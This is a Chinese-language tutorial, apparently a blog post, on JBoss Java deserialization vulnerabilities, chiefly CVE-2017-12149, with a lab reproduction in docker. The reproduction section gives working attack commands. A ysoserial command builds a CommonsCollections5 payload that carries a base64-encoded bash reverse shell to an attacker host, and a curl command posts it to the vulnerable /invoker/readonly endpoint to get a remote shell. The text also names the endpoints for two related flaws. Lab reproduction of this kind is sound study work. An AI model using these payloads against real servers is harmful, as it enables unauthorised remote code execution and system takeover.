一、什么是Jboss

Jboss是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。 Jboss属于redhat公司,而且jboss是开源的,免费的,且在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器,所以曾经广为流行。

二、Jboss的历史漏洞

1.jboss反序列化漏洞,CVE-2017-7504

漏洞存在/jbossmq-httpil/HTTPServerILServlet中,将这个payload作为POST Body发送至/jbossmq-httpil/HTTPServerILServlet即可

2. jboss反序列化漏洞, CVE-2017-12149

漏洞存在/invoker/readonly中,将这个payload作为POST Body发送至/invoker/readonly即可

3. jboss反序列化漏洞, JMXInvokerServlet-deserialization

漏洞存在/invoker/JMXInvokerServlet。将这个payload作为POST Body发送至JMXInvokerServlet-deserialization即可 以上三个历史漏洞都是java反序列化漏洞,漏洞产生原理都一样。利用方法是直接使用工具进行漏洞利用。这里对CVE-2017-12149进行漏洞复现。

三、Jboss的反序列化漏洞复现

JBoss反序列化(CVE-2017-12149)程序获取http请求数据保存到httpRequest中,进一步处理后保存到变量ois中,然后程序没有对该数据进行过滤,直接使用readObject()方法进行反序列化。

漏洞利用的条件:

  1. /invoker/readonly目录存在且能访问。
  2. 版本号为5.x/6.x

1.JBoss反序列化(CVE-2017-12149)漏洞复现。

(1)

 (2)[root@localhost CVE-2017-12149]# docker-compose up -d  开启站点

(3)访问他的invorker/readonly目录,发现成功。

 (4)首先需要生成一个payload文件

1.使用ysoserial.jar进行payload构造,反弹shell,使用以下命令生成payloadpoc.ser cmd下执行: CommonsCollections5 利用链范围(1-8) ,需要修改尝试

java  -jar  ysoserial.jar  CommonsCollections5 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDQuMS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

将上边的红字进过base64编码后成为:/bin/bash -i >& /dev/tcp/192.168.44.1/6666 0>&1

需要将地址改为自己反弹shell的ip地址。

然后再cmd输入上边的字符串之后会生成一个poc.ser文件

生成poc.ser后,先在vps中进行监听6666端口,这里使用kali(192.168.44.170)模拟vps。然后在ubuntu中使用命令curl进行传输: 

在ubuntu中进行curl访问:curl http://192.168.44.170:8080/invoker/readonly --data-binary @poc.ser       (Ubuntu打开终端ctrl+alt+t)

然后查看kali机是否反弹shell成功

 

 

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐